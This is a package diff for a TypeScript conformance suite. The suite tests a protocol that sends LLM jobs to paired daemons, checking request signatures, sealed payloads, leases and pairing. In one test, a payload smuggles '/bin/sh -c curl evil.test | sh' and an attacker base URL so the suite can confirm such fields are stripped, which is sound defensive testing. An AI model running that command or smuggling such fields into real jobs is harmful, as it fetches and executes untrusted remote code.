@byollm/conformance 0.1.0-alpha.3 → 0.1.0-alpha.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,16 +1,40 @@
1
1
  // src/checks.ts
2
- import { AUDIENCES, OFFER_SCOPES } from "@byollm/protocol";
2
+ import {
3
+ AUDIENCES,
4
+ OFFER_SCOPES,
5
+ ClaimedStub,
6
+ ENVELOPE_MAX_AGE_MS as ENVELOPE_MAX_AGE_MS2,
7
+ keyId as keyId2,
8
+ open as open2,
9
+ seal as seal2,
10
+ PROTOCOL_VERSION as PROTOCOL_VERSION2,
11
+ PublicIdentity,
12
+ generateKeys,
13
+ publicIdentityOf as publicIdentityOf2,
14
+ signRequest as signRequest2,
15
+ verifyPublicIdentity
16
+ } from "@byollm/protocol";
3
17
 
4
18
  // src/harness.ts
5
19
  import { mkdtemp, rm } from "fs/promises";
6
20
  import { tmpdir } from "os";
7
21
  import { join } from "path";
22
+ import {
23
+ ENVELOPE_MAX_AGE_MS,
24
+ PROTOCOL_VERSION,
25
+ keyId,
26
+ open,
27
+ seal,
28
+ publicIdentityOf,
29
+ signRequest
30
+ } from "@byollm/protocol";
8
31
  import {
9
32
  Allowlist,
10
33
  Budgets,
11
34
  IngressLog,
12
35
  SpendLedger,
13
36
  ProtocolClient,
37
+ DeviceIdentity,
14
38
  Runner,
15
39
  connect,
16
40
  resolveConfig,
@@ -23,8 +47,12 @@ var EchoBackend = class {
23
47
  seen = [];
24
48
  /** Set to make the next call hang, for lease and cancel checks. */
25
49
  hangMs = 0;
50
+ /** Set false to simulate the model not being installed or not running. */
51
+ healthy = true;
52
+ /** What the backend reports it can serve. Empty means "does not enumerate". */
53
+ models = ["echo-model"];
26
54
  health() {
27
- return Promise.resolve({ healthy: true, models: ["echo-model"] });
55
+ return Promise.resolve({ healthy: this.healthy, models: this.models });
28
56
  }
29
57
  async execute(request) {
30
58
  this.seen.push(request.prompt);
@@ -124,9 +152,11 @@ async function pairDaemon(target, options) {
124
152
  let userCode = "";
125
153
  const pairingAbort = new AbortController();
126
154
  let pairingError;
155
+ const deviceIdentity = new DeviceIdentity(join(home, "keys.json"));
127
156
  const pairing = connect({
128
157
  client: pairingClient,
129
158
  daemonVersion: "conformance",
159
+ device: await deviceIdentity.publicIdentity(Date.now()),
130
160
  label: options.label ?? `daemon-${options.owner}`,
131
161
  capabilities,
132
162
  onCode: (info) => {
@@ -161,11 +191,21 @@ async function pairDaemon(target, options) {
161
191
  const runner = new Runner({
162
192
  client: new ProtocolClient({
163
193
  origin: target.origin,
164
- token: result.pairing.token,
194
+ // The harness signs exactly as a daemon does, so certification
195
+ // exercises the real verification path.
196
+ identity: {
197
+ runnerId: result.pairing.runnerId,
198
+ sign: (input) => deviceIdentity.signRequest(input)
199
+ },
165
200
  fetch: fetchImpl
166
201
  }),
167
202
  runnerId: result.pairing.runnerId,
168
203
  owner: result.pairing.owner,
204
+ identity: {
205
+ keys: () => deviceIdentity.load(Date.now()),
206
+ // Pinned at pairing, exactly as a real daemon does.
207
+ sitePinned: result.pairing.site
208
+ },
169
209
  daemonVersion: "conformance",
170
210
  loaded,
171
211
  allowlist,
@@ -180,6 +220,10 @@ async function pairDaemon(target, options) {
180
220
  allowlist,
181
221
  runnerId: result.pairing.runnerId,
182
222
  owner: result.pairing.owner,
223
+ token: result.pairing.token,
224
+ keys: await deviceIdentity.load(Date.now()),
225
+ identityKeys: () => deviceIdentity.load(Date.now()),
226
+ sitePinned: result.pairing.site,
183
227
  home,
184
228
  ingress,
185
229
  spend,
@@ -190,10 +234,10 @@ async function pairDaemon(target, options) {
190
234
  timeoutMs: 2e3,
191
235
  what: "in-flight jobs to unwind"
192
236
  }).catch(() => void 0);
193
- await rm(home, { recursive: true, force: true });
237
+ await removeHome(home);
194
238
  },
195
239
  abandon: async () => {
196
- await rm(home, { recursive: true, force: true });
240
+ await removeHome(home);
197
241
  }
198
242
  };
199
243
  }
@@ -217,14 +261,208 @@ async function waitFor(predicate, options = {}) {
217
261
  function sleep(ms) {
218
262
  return new Promise((resolve) => setTimeout(resolve, ms));
219
263
  }
264
+ var MAX_REAL_WAIT_MS = 3e4;
220
265
  async function advance(target, ms) {
221
266
  if (target.advanceTime) {
222
267
  await target.advanceTime(ms);
223
268
  } else {
269
+ if (ms > MAX_REAL_WAIT_MS) {
270
+ throw new Error(
271
+ `this check needs to advance ${String(Math.round(ms / 1e3))}s and "${target.name}" cannot fake time, so it would sleep for real. Configure a shorter TTL on the target, or give it advanceTime().`
272
+ );
273
+ }
224
274
  await sleep(ms);
225
275
  }
226
276
  await target.sweep();
227
277
  }
278
+ async function claimOne(target, daemon) {
279
+ const capabilities = await daemon.runner.detectCapabilities();
280
+ const body = JSON.stringify({
281
+ protocolVersion: PROTOCOL_VERSION,
282
+ runnerId: daemon.runnerId,
283
+ capabilities,
284
+ max: 1
285
+ });
286
+ const signature = signRequest(daemon.keys, {
287
+ endpoint: "claim",
288
+ runnerId: daemon.runnerId,
289
+ issuedAt: Date.now(),
290
+ body
291
+ });
292
+ const response = await target.fetch(
293
+ new Request(`${target.origin}/byollm/claim`, {
294
+ method: "POST",
295
+ headers: {
296
+ "content-type": "application/json",
297
+ "x-byollm-runner": signature.runnerId,
298
+ "x-byollm-issued-at": String(signature.issuedAt),
299
+ "x-byollm-signature": signature.signature
300
+ },
301
+ body
302
+ })
303
+ );
304
+ if (response.status !== 200) {
305
+ throw new Error(`claim answered ${String(response.status)}`);
306
+ }
307
+ const parsed = await response.json();
308
+ const job = parsed.jobs[0];
309
+ if (!job) throw new Error("claim returned no jobs");
310
+ return job;
311
+ }
312
+ async function releaseLease(target, daemon, jobId, leaseId) {
313
+ const body = JSON.stringify({
314
+ protocolVersion: PROTOCOL_VERSION,
315
+ runnerId: daemon.runnerId,
316
+ leases: [{ jobId, leaseId }],
317
+ reason: "backend-down"
318
+ });
319
+ const signature = signRequest(daemon.keys, {
320
+ endpoint: "release",
321
+ runnerId: daemon.runnerId,
322
+ issuedAt: Date.now(),
323
+ body
324
+ });
325
+ return target.fetch(
326
+ new Request(`${target.origin}/byollm/release`, {
327
+ method: "POST",
328
+ headers: {
329
+ "content-type": "application/json",
330
+ "x-byollm-runner": signature.runnerId,
331
+ "x-byollm-issued-at": String(signature.issuedAt),
332
+ "x-byollm-signature": signature.signature
333
+ },
334
+ body
335
+ })
336
+ );
337
+ }
338
+ async function fetchPayload(target, daemon, jobId, leaseId) {
339
+ const body = JSON.stringify({
340
+ protocolVersion: PROTOCOL_VERSION,
341
+ runnerId: daemon.runnerId,
342
+ jobId,
343
+ leaseId
344
+ });
345
+ const signature = signRequest(daemon.keys, {
346
+ endpoint: "fetch",
347
+ runnerId: daemon.runnerId,
348
+ issuedAt: Date.now(),
349
+ body
350
+ });
351
+ const response = await target.fetch(
352
+ new Request(`${target.origin}/byollm/fetch`, {
353
+ method: "POST",
354
+ headers: {
355
+ "content-type": "application/json",
356
+ "x-byollm-runner": signature.runnerId,
357
+ "x-byollm-issued-at": String(signature.issuedAt),
358
+ "x-byollm-signature": signature.signature
359
+ },
360
+ body
361
+ })
362
+ );
363
+ if (response.status !== 200) return null;
364
+ const raw = await response.json();
365
+ const keys = await daemon.identityKeys();
366
+ const opened = await open({
367
+ envelope: raw.envelope,
368
+ recipientKeys: keys,
369
+ senderIdentityPublic: daemon.sitePinned.identity,
370
+ expected: {
371
+ jobId,
372
+ senderKeyId: keyId(daemon.sitePinned.identity),
373
+ recipientKeyId: keyId(publicIdentityOf(keys).identity),
374
+ direction: "payload"
375
+ }
376
+ });
377
+ return {
378
+ raw,
379
+ opened: opened.ok ? JSON.parse(opened.plaintext) : null
380
+ };
381
+ }
382
+ async function postResult(target, daemon, input) {
383
+ const keys = await daemon.identityKeys();
384
+ const sealer = input.sealWith ?? keys;
385
+ const envelope = await seal({
386
+ plaintext: JSON.stringify(input.outcome),
387
+ senderKeys: sealer,
388
+ recipientEncryptionPublic: daemon.sitePinned.encryption,
389
+ context: {
390
+ jobId: input.jobId,
391
+ // Always the *device's* key id, even when a relay sealed it: an
392
+ // attacker naming itself would be refused for the wrong reason, and
393
+ // this check exists to prove the signature is what refuses it.
394
+ senderKeyId: keyId(publicIdentityOf(keys).identity),
395
+ recipientKeyId: keyId(daemon.sitePinned.identity),
396
+ deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,
397
+ direction: "result"
398
+ }
399
+ });
400
+ const body = JSON.stringify({
401
+ protocolVersion: PROTOCOL_VERSION,
402
+ runnerId: daemon.runnerId,
403
+ jobId: input.jobId,
404
+ envelope,
405
+ disposition: input.disposition ?? input.outcome.outcome,
406
+ model: "conformance-model",
407
+ backendClass: "http",
408
+ durationMs: 1
409
+ });
410
+ const signature = signRequest(daemon.keys, {
411
+ endpoint: "result",
412
+ runnerId: daemon.runnerId,
413
+ issuedAt: Date.now(),
414
+ body
415
+ });
416
+ return target.fetch(
417
+ new Request(`${target.origin}/byollm/result`, {
418
+ method: "POST",
419
+ headers: {
420
+ "content-type": "application/json",
421
+ "x-byollm-runner": signature.runnerId,
422
+ "x-byollm-issued-at": String(signature.issuedAt),
423
+ "x-byollm-signature": signature.signature
424
+ },
425
+ body
426
+ })
427
+ );
428
+ }
429
+ async function removeHome(home) {
430
+ for (let attempt = 0; attempt < 3; attempt += 1) {
431
+ try {
432
+ await rm(home, { recursive: true, force: true });
433
+ return;
434
+ } catch {
435
+ await sleep(20);
436
+ }
437
+ }
438
+ await rm(home, { recursive: true, force: true }).catch(() => void 0);
439
+ }
440
+ async function fetchGenuine(target, daemon, owner = "alice") {
441
+ const marker = "genuine work";
442
+ await target.enqueue({
443
+ kind: "llm.generate",
444
+ payload: { prompt: marker },
445
+ // The target's own name for the user, not the id it mapped that to —
446
+ // passing a mapped id back in addresses a user the target never made.
447
+ owner,
448
+ audience: "self"
449
+ });
450
+ for (let attempt = 0; attempt < 20; attempt += 1) {
451
+ try {
452
+ const stub = await claimOne(target, daemon);
453
+ const fetched = await fetchPayload(
454
+ target,
455
+ daemon,
456
+ stub.id,
457
+ stub.lease.id
458
+ );
459
+ return JSON.stringify(fetched?.opened ?? {}).includes(marker);
460
+ } catch {
461
+ await sleep(50);
462
+ }
463
+ }
464
+ return false;
465
+ }
228
466
 
229
467
  // src/checks.ts
230
468
  function assert(condition, message) {
@@ -756,27 +994,29 @@ var CHECKS = [
756
994
  },
757
995
  {
758
996
  id: "C015_INGRESS_BEFORE_EXECUTION",
759
- title: "every executed prompt is in the ingress log",
997
+ title: "every executed prompt is in the ingress log before it runs",
760
998
  musts: ["INGRESS_LOGGED_BEFORE_EXECUTION"],
761
999
  async run(target) {
762
1000
  const daemon = await pairDaemon(target, { owner: "alice" });
1001
+ let ticking = Promise.resolve();
763
1002
  try {
1003
+ daemon.backend.hangMs = 3e4;
764
1004
  const job = await target.enqueue({
765
1005
  kind: "llm.generate",
766
1006
  payload: prompt("logged prompt"),
767
1007
  owner: "alice"
768
1008
  });
769
- await daemon.runner.tick();
770
- await waitFor(async () => (await target.job(job.id))?.state === "ok", {
771
- what: "the job to complete"
1009
+ ticking = daemon.runner.tick().catch(() => void 0);
1010
+ await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {
1011
+ what: "the backend to be called"
772
1012
  });
773
- const entries = await daemon.ingress.read();
774
- const logged = entries.find(
1013
+ const during = await daemon.ingress.read();
1014
+ const logged = during.find(
775
1015
  (entry) => entry.type === "prompt" && entry.jobId === job.id
776
1016
  );
777
1017
  assert(
778
1018
  logged !== void 0,
779
- "the executed prompt is not in the ingress log"
1019
+ "a prompt reached the backend before it reached the ingress log"
780
1020
  );
781
1021
  assert(
782
1022
  logged.type === "prompt" && logged.prompt === "logged prompt",
@@ -784,6 +1024,7 @@ var CHECKS = [
784
1024
  );
785
1025
  } finally {
786
1026
  await daemon.dispose();
1027
+ await ticking;
787
1028
  }
788
1029
  }
789
1030
  },
@@ -952,11 +1193,628 @@ var CHECKS = [
952
1193
  await bob.dispose();
953
1194
  }
954
1195
  }
1196
+ },
1197
+ {
1198
+ id: "C019_CLAIM_ATOMIC",
1199
+ title: "two runners racing one job \u2014 exactly one gets it",
1200
+ musts: ["CLAIM_ATOMIC"],
1201
+ async run(target) {
1202
+ const a = await pairDaemon(target, { owner: "alice", label: "laptop" });
1203
+ const b = await pairDaemon(target, { owner: "alice", label: "desktop" });
1204
+ try {
1205
+ const job = await target.enqueue({
1206
+ kind: "llm.generate",
1207
+ payload: prompt("only once, please"),
1208
+ owner: "alice",
1209
+ audience: "self"
1210
+ });
1211
+ await Promise.all([a.runner.tick(), b.runner.tick()]);
1212
+ await waitFor(async () => (await target.job(job.id))?.state === "ok", {
1213
+ what: "the contested job to finish"
1214
+ });
1215
+ const ran = a.backend.seen.length + b.backend.seen.length;
1216
+ assert(
1217
+ ran === 1,
1218
+ `the job ran ${String(ran)} times across two runners, not once`
1219
+ );
1220
+ } finally {
1221
+ await a.dispose();
1222
+ await b.dispose();
1223
+ }
1224
+ }
1225
+ },
1226
+ {
1227
+ id: "C020_PAIR_CODE_EXPIRES",
1228
+ title: "an expired device code cannot be redeemed",
1229
+ musts: ["PAIR_CODE_EXPIRES"],
1230
+ async run(target) {
1231
+ const started = await target.fetch(
1232
+ new Request(`${target.origin}/byollm/pair`, {
1233
+ method: "POST",
1234
+ headers: { "content-type": "application/json" },
1235
+ body: JSON.stringify({
1236
+ protocolVersion: PROTOCOL_VERSION2,
1237
+ action: "start",
1238
+ device: publicIdentityOf2(generateKeys(Date.now())),
1239
+ daemon: {
1240
+ version: "conformance",
1241
+ label: "expiring-daemon",
1242
+ platform: "linux"
1243
+ },
1244
+ capabilities: []
1245
+ })
1246
+ })
1247
+ );
1248
+ assert(started.status === 200, "pair start did not answer 200");
1249
+ const pairing = await started.json();
1250
+ await advance(target, pairing.expiresAt - Date.now() + 1e3);
1251
+ let approved = true;
1252
+ try {
1253
+ await target.approvePairing(pairing.userCode, "alice");
1254
+ } catch {
1255
+ approved = false;
1256
+ }
1257
+ const polled = await target.fetch(
1258
+ new Request(`${target.origin}/byollm/pair`, {
1259
+ method: "POST",
1260
+ headers: { "content-type": "application/json" },
1261
+ body: JSON.stringify({
1262
+ protocolVersion: PROTOCOL_VERSION2,
1263
+ action: "poll",
1264
+ deviceCode: pairing.deviceCode
1265
+ })
1266
+ })
1267
+ );
1268
+ const status = polled.status === 200 ? (await polled.json()).status : "rejected";
1269
+ assert(
1270
+ !approved || status !== "approved",
1271
+ "an expired device code still paired a runner"
1272
+ );
1273
+ assert(
1274
+ status === "expired" || status === "denied" || status === "rejected",
1275
+ `polling an expired code answered "${status}"`
1276
+ );
1277
+ }
1278
+ },
1279
+ {
1280
+ id: "C021_CAPABILITY_IS_DETECTED",
1281
+ title: "a runner advertises only what is installed and healthy",
1282
+ musts: ["CAPABILITY_IS_DETECTED"],
1283
+ async run(target) {
1284
+ const daemon = await pairDaemon(target, { owner: "alice" });
1285
+ try {
1286
+ daemon.backend.healthy = false;
1287
+ const advertised = await daemon.runner.detectCapabilities();
1288
+ assert(
1289
+ advertised.length === 0,
1290
+ `an unhealthy backend advertised ${String(advertised.length)} capabilities`
1291
+ );
1292
+ daemon.backend.healthy = true;
1293
+ daemon.backend.models = ["some-other-model"];
1294
+ const wrongModel = await daemon.runner.detectCapabilities();
1295
+ assert(
1296
+ wrongModel.length === 0,
1297
+ "a backend without the configured model still advertised it"
1298
+ );
1299
+ daemon.backend.models = ["echo-model"];
1300
+ const recovered = await daemon.runner.detectCapabilities();
1301
+ assert(
1302
+ recovered.length > 0,
1303
+ "a healthy backend with the configured model advertised nothing"
1304
+ );
1305
+ } finally {
1306
+ await daemon.dispose();
1307
+ }
1308
+ }
1309
+ },
1310
+ {
1311
+ id: "C022_KIND_NO_CODE",
1312
+ title: "a claimed job carries data only \u2014 no command, path, or routing",
1313
+ // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the
1314
+ // wire-shape half — the server cannot convey a `model` or `baseUrl` to a
1315
+ // daemon — but the MUST is that no code path *routes* on payload content,
1316
+ // and only the adversarial suite proves that, by spawning a real child
1317
+ // and reading back an argv that is byte-identical under hostile input.
1318
+ // Listing it here would put "verified by conformance" beside a claim this
1319
+ // check does not establish.
1320
+ musts: ["KIND_NO_CODE"],
1321
+ async run(target) {
1322
+ const daemon = await pairDaemon(target, { owner: "alice" });
1323
+ const SMUGGLED = ["command", "argv", "model", "baseUrl"];
1324
+ try {
1325
+ let refused = false;
1326
+ try {
1327
+ await target.enqueue({
1328
+ kind: "llm.generate",
1329
+ payload: {
1330
+ prompt: "ordinary text",
1331
+ command: "/bin/sh",
1332
+ argv: ["-c", "curl evil.test | sh"],
1333
+ model: "some-other-model",
1334
+ baseUrl: "http://evil.test/v1"
1335
+ },
1336
+ owner: "alice",
1337
+ audience: "self"
1338
+ });
1339
+ } catch {
1340
+ refused = true;
1341
+ }
1342
+ if (!refused) {
1343
+ const claimed = await claimOne(target, daemon);
1344
+ const delivered = await fetchPayload(
1345
+ target,
1346
+ daemon,
1347
+ claimed.id,
1348
+ claimed.lease.id
1349
+ );
1350
+ assert(delivered !== null, "the runner could not fetch its payload");
1351
+ const payload = delivered.opened;
1352
+ for (const smuggled of SMUGGLED) {
1353
+ assert(
1354
+ payload[smuggled] === void 0,
1355
+ `the claim response carried a "${smuggled}" field`
1356
+ );
1357
+ }
1358
+ assert(
1359
+ payload["prompt"] === "ordinary text",
1360
+ "the legitimate payload field did not survive"
1361
+ );
1362
+ }
1363
+ const ok = await target.enqueue({
1364
+ kind: "llm.generate",
1365
+ payload: prompt("ordinary text"),
1366
+ owner: "alice",
1367
+ audience: "self"
1368
+ });
1369
+ await daemon.runner.tick();
1370
+ await waitFor(async () => (await target.job(ok.id))?.state === "ok", {
1371
+ what: "a well-formed job to run"
1372
+ });
1373
+ } finally {
1374
+ await daemon.dispose();
1375
+ }
1376
+ }
1377
+ },
1378
+ {
1379
+ id: "C023_VERSION_HANDSHAKE",
1380
+ title: "a version mismatch is refused in words, not by failing",
1381
+ musts: ["VERSION_HANDSHAKE_REQUIRED"],
1382
+ async run(target) {
1383
+ const post = (body) => target.fetch(
1384
+ new Request(`${target.origin}/byollm/claim`, {
1385
+ method: "POST",
1386
+ headers: {
1387
+ "content-type": "application/json",
1388
+ authorization: "Bearer whatever"
1389
+ },
1390
+ body: JSON.stringify(body)
1391
+ })
1392
+ );
1393
+ for (const [label, body] of [
1394
+ ["a version from the future", { protocolVersion: "99", max: 1 }],
1395
+ ["no version at all", { max: 1 }],
1396
+ ["a non-string version", { protocolVersion: 0, max: 1 }]
1397
+ ]) {
1398
+ const response = await post(body);
1399
+ const parsed = await response.json();
1400
+ assert(
1401
+ parsed.error === "unsupported-protocol-version",
1402
+ `${label}: answered "${parsed.error ?? "nothing"}" rather than unsupported-protocol-version`
1403
+ );
1404
+ assert(
1405
+ Array.isArray(parsed.supported) && parsed.supported.length > 0,
1406
+ `${label}: the refusal did not say what the server supports`
1407
+ );
1408
+ assert(
1409
+ (parsed.message ?? "").length > 20,
1410
+ `${label}: the refusal carried no usable message`
1411
+ );
1412
+ }
1413
+ const authed = await post({ protocolVersion: PROTOCOL_VERSION2, max: 1 });
1414
+ assert(
1415
+ authed.status === 400 || authed.status === 401,
1416
+ `a supported version with a bad token answered ${String(authed.status)}`
1417
+ );
1418
+ }
1419
+ },
1420
+ {
1421
+ id: "C024_KEY_EXCHANGE",
1422
+ title: "pairing exchanges identities, verifies them, and reveals nothing early",
1423
+ musts: ["KEYS_EXCHANGED_AT_CONSENT"],
1424
+ async run(target) {
1425
+ const start = async (device) => target.fetch(
1426
+ new Request(`${target.origin}/byollm/pair`, {
1427
+ method: "POST",
1428
+ headers: { "content-type": "application/json" },
1429
+ body: JSON.stringify({
1430
+ protocolVersion: PROTOCOL_VERSION2,
1431
+ action: "start",
1432
+ daemon: {
1433
+ version: "conformance",
1434
+ label: "key-exchange",
1435
+ platform: "linux"
1436
+ },
1437
+ device,
1438
+ capabilities: []
1439
+ })
1440
+ })
1441
+ );
1442
+ const honest = publicIdentityOf2(generateKeys(Date.now()));
1443
+ const attacker = publicIdentityOf2(generateKeys(Date.now()));
1444
+ const forged = await start({
1445
+ ...honest,
1446
+ encryption: attacker.encryption
1447
+ });
1448
+ assert(
1449
+ forged.status >= 400,
1450
+ `a device with an unsigned encryption key paired anyway (${String(forged.status)})`
1451
+ );
1452
+ const started = await start(honest);
1453
+ assert(
1454
+ started.status === 200,
1455
+ "an honest device could not start pairing"
1456
+ );
1457
+ const pairing = await started.json();
1458
+ const poll = async () => {
1459
+ const response = await target.fetch(
1460
+ new Request(`${target.origin}/byollm/pair`, {
1461
+ method: "POST",
1462
+ headers: { "content-type": "application/json" },
1463
+ body: JSON.stringify({
1464
+ protocolVersion: PROTOCOL_VERSION2,
1465
+ action: "poll",
1466
+ deviceCode: pairing.deviceCode
1467
+ })
1468
+ })
1469
+ );
1470
+ return await response.json();
1471
+ };
1472
+ const pending = await poll();
1473
+ assert(
1474
+ pending["site"] === void 0,
1475
+ "a pending poll disclosed the site's keys before anyone approved"
1476
+ );
1477
+ await target.approvePairing(pairing.userCode, "alice");
1478
+ const approved = await poll();
1479
+ assert(
1480
+ approved["status"] === "approved",
1481
+ `poll after approval said "${String(approved["status"])}"`
1482
+ );
1483
+ const site = PublicIdentity.safeParse(approved["site"]);
1484
+ assert(site.success, "the approval carried no usable site identity");
1485
+ assert(
1486
+ verifyPublicIdentity(site.data),
1487
+ "the site's encryption key is not signed by the identity it presented"
1488
+ );
1489
+ }
1490
+ },
1491
+ {
1492
+ id: "C025_SIGNED_REQUESTS",
1493
+ title: "authentication is a signature over the request, not a secret",
1494
+ musts: ["REQUESTS_SIGNED_NOT_BEARER"],
1495
+ async run(target) {
1496
+ const daemon = await pairDaemon(target, { owner: "alice" });
1497
+ try {
1498
+ const body = JSON.stringify({
1499
+ protocolVersion: PROTOCOL_VERSION2,
1500
+ runnerId: daemon.runnerId,
1501
+ capabilities: await daemon.runner.detectCapabilities(),
1502
+ max: 1
1503
+ });
1504
+ const post = (headers) => target.fetch(
1505
+ new Request(`${target.origin}/byollm/claim`, {
1506
+ method: "POST",
1507
+ headers: { "content-type": "application/json", ...headers },
1508
+ body
1509
+ })
1510
+ );
1511
+ const sign = (over = {}) => signRequest2(daemon.keys, {
1512
+ endpoint: over.endpoint ?? "claim",
1513
+ runnerId: daemon.runnerId,
1514
+ issuedAt: Date.now(),
1515
+ body: over.body ?? body
1516
+ });
1517
+ const headersFor = (s) => ({
1518
+ "x-byollm-runner": s.runnerId,
1519
+ "x-byollm-issued-at": String(s.issuedAt),
1520
+ "x-byollm-signature": s.signature
1521
+ });
1522
+ assert(
1523
+ (await post(headersFor(sign()))).status === 200,
1524
+ "a correctly signed request was refused"
1525
+ );
1526
+ assert(
1527
+ (await post({})).status === 401,
1528
+ "an unsigned request was accepted"
1529
+ );
1530
+ assert(
1531
+ (await post(headersFor(sign({ body: '{"other":true}' })))).status === 401,
1532
+ "a signature over different bytes was accepted"
1533
+ );
1534
+ assert(
1535
+ (await post(headersFor(sign({ endpoint: "release" })))).status === 401,
1536
+ "a signature for another endpoint was accepted"
1537
+ );
1538
+ const stranger = signRequest2(generateKeys(Date.now()), {
1539
+ endpoint: "claim",
1540
+ runnerId: daemon.runnerId,
1541
+ issuedAt: Date.now(),
1542
+ body
1543
+ });
1544
+ assert(
1545
+ (await post(headersFor(stranger))).status === 401,
1546
+ "a signature from an unpinned key was accepted"
1547
+ );
1548
+ const stale = signRequest2(daemon.keys, {
1549
+ endpoint: "claim",
1550
+ runnerId: daemon.runnerId,
1551
+ issuedAt: Date.now() - 864e5,
1552
+ body
1553
+ });
1554
+ assert(
1555
+ (await post(headersFor(stale))).status === 401,
1556
+ "a signature from a day ago was accepted"
1557
+ );
1558
+ } finally {
1559
+ await daemon.dispose();
1560
+ }
1561
+ }
1562
+ },
1563
+ {
1564
+ id: "C026_LEASE_SCOPED_RELEASE",
1565
+ title: "a release acts on the lease it names, not whatever lease exists",
1566
+ musts: ["LEASE_SCOPED_BY_GRANT"],
1567
+ async run(target) {
1568
+ const daemon = await pairDaemon(target, { owner: "alice" });
1569
+ try {
1570
+ const job = await target.enqueue({
1571
+ kind: "llm.generate",
1572
+ payload: prompt("run me once"),
1573
+ owner: "alice",
1574
+ audience: "self"
1575
+ });
1576
+ const first = await claimOne(target, daemon);
1577
+ assert(
1578
+ typeof first.lease.id === "string" && first.lease.id.length > 0,
1579
+ "a claimed job arrived without a lease id \u2014 nothing can be scoped to it"
1580
+ );
1581
+ await releaseLease(target, daemon, job.id, first.lease.id);
1582
+ const second = await claimOne(target, daemon);
1583
+ assert(
1584
+ second.lease.id !== first.lease.id,
1585
+ "re-claiming the same job reused the lease id, so the two grants are indistinguishable"
1586
+ );
1587
+ await releaseLease(target, daemon, job.id, first.lease.id);
1588
+ const state = await target.job(job.id);
1589
+ assert(
1590
+ state?.state === "claimed" || state?.state === "running",
1591
+ `a replayed release returned the job to "${String(state?.state)}" while it was held`
1592
+ );
1593
+ await releaseLease(target, daemon, job.id, second.lease.id);
1594
+ assert(
1595
+ (await target.job(job.id))?.state === "queued",
1596
+ "releasing the current lease did not return the job to the queue"
1597
+ );
1598
+ } finally {
1599
+ await daemon.dispose();
1600
+ }
1601
+ }
1602
+ },
1603
+ {
1604
+ id: "C027_CLAIM_ANSWERS_WITH_STUBS",
1605
+ title: "a claim carries routing metadata and no work",
1606
+ musts: ["STUB_METADATA_EXHAUSTIVE"],
1607
+ async run(target) {
1608
+ const daemon = await pairDaemon(target, { owner: "alice" });
1609
+ try {
1610
+ await target.enqueue({
1611
+ kind: "llm.generate",
1612
+ payload: prompt("this must not appear in a claim response"),
1613
+ owner: "alice",
1614
+ audience: "self"
1615
+ });
1616
+ const stub = await claimOne(target, daemon);
1617
+ const asRecord = stub;
1618
+ assert(
1619
+ asRecord["payload"] === void 0,
1620
+ "the claim response carried the payload"
1621
+ );
1622
+ assert(
1623
+ !JSON.stringify(stub).includes("this must not appear"),
1624
+ "the prompt text appeared somewhere in the claim response"
1625
+ );
1626
+ const parsed = ClaimedStub.safeParse(stub);
1627
+ assert(
1628
+ parsed.success,
1629
+ `the claim response is not a valid stub: ${parsed.success ? "" : parsed.error.issues.map((i) => i.path.join(".")).join(", ")}`
1630
+ );
1631
+ assert(
1632
+ ["small", "medium", "large", "unbounded"].includes(
1633
+ String(asRecord["sizeClass"])
1634
+ ),
1635
+ `sizeClass was "${String(asRecord["sizeClass"])}"`
1636
+ );
1637
+ const fetched = await fetchPayload(
1638
+ target,
1639
+ daemon,
1640
+ stub.id,
1641
+ stub.lease.id
1642
+ );
1643
+ assert(fetched !== null, "the lease holder could not fetch its work");
1644
+ assert(
1645
+ !JSON.stringify(fetched.raw).includes("this must not appear"),
1646
+ "the payload crossed the wire in the clear"
1647
+ );
1648
+ assert(
1649
+ JSON.stringify(fetched.opened).includes("this must not appear"),
1650
+ "the runner holding the lease could not open its own work"
1651
+ );
1652
+ const wrong = await fetchPayload(
1653
+ target,
1654
+ daemon,
1655
+ stub.id,
1656
+ "lease-that-does-not-exist"
1657
+ );
1658
+ assert(
1659
+ wrong === null,
1660
+ "fetch answered for a lease this runner does not hold"
1661
+ );
1662
+ } finally {
1663
+ await daemon.dispose();
1664
+ }
1665
+ }
1666
+ },
1667
+ {
1668
+ id: "C028_STORED_WORK_IS_SEALED",
1669
+ title: "the store holds ciphertext, and a wrong-key envelope is refused",
1670
+ musts: ["ENVELOPE_SEALED_AND_SIGNED"],
1671
+ async run(target) {
1672
+ const secret = "a prompt nobody should read from storage";
1673
+ const daemon = await pairDaemon(target, { owner: "alice" });
1674
+ try {
1675
+ const job = await target.enqueue({
1676
+ kind: "llm.generate",
1677
+ payload: prompt(secret),
1678
+ owner: "alice",
1679
+ audience: "self"
1680
+ });
1681
+ const stored = await target.job(job.id);
1682
+ assert(
1683
+ !JSON.stringify(stored ?? {}).includes(secret),
1684
+ "the prompt was readable in the stored job"
1685
+ );
1686
+ const stub = await claimOne(target, daemon);
1687
+ const delivered = await fetchPayload(
1688
+ target,
1689
+ daemon,
1690
+ stub.id,
1691
+ stub.lease.id
1692
+ );
1693
+ assert(delivered !== null, "the lease holder could not fetch its work");
1694
+ assert(
1695
+ !JSON.stringify(delivered.raw).includes(secret),
1696
+ "the work crossed the wire in the clear"
1697
+ );
1698
+ assert(
1699
+ JSON.stringify(delivered.opened).includes(secret),
1700
+ "the device could not open work sealed to it"
1701
+ );
1702
+ } finally {
1703
+ await daemon.dispose();
1704
+ }
1705
+ }
1706
+ },
1707
+ {
1708
+ id: "C029_DAEMON_REFUSES_UNSIGNED_WORK",
1709
+ title: "a daemon refuses work not signed by the site it pinned",
1710
+ musts: ["ENVELOPE_SEALED_AND_SIGNED"],
1711
+ async run(target) {
1712
+ const daemon = await pairDaemon(target, { owner: "alice" });
1713
+ try {
1714
+ const keys = await daemon.identityKeys();
1715
+ const relay = generateKeys(Date.now());
1716
+ const forged = await seal2({
1717
+ plaintext: JSON.stringify({ prompt: "run this instead" }),
1718
+ senderKeys: relay,
1719
+ recipientEncryptionPublic: keys.encryptionPublic,
1720
+ context: {
1721
+ jobId: "job_anything",
1722
+ senderKeyId: keyId2(daemon.sitePinned.identity),
1723
+ recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
1724
+ deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS2,
1725
+ direction: "payload"
1726
+ }
1727
+ });
1728
+ const opened = await open2({
1729
+ envelope: forged,
1730
+ recipientKeys: keys,
1731
+ senderIdentityPublic: daemon.sitePinned.identity,
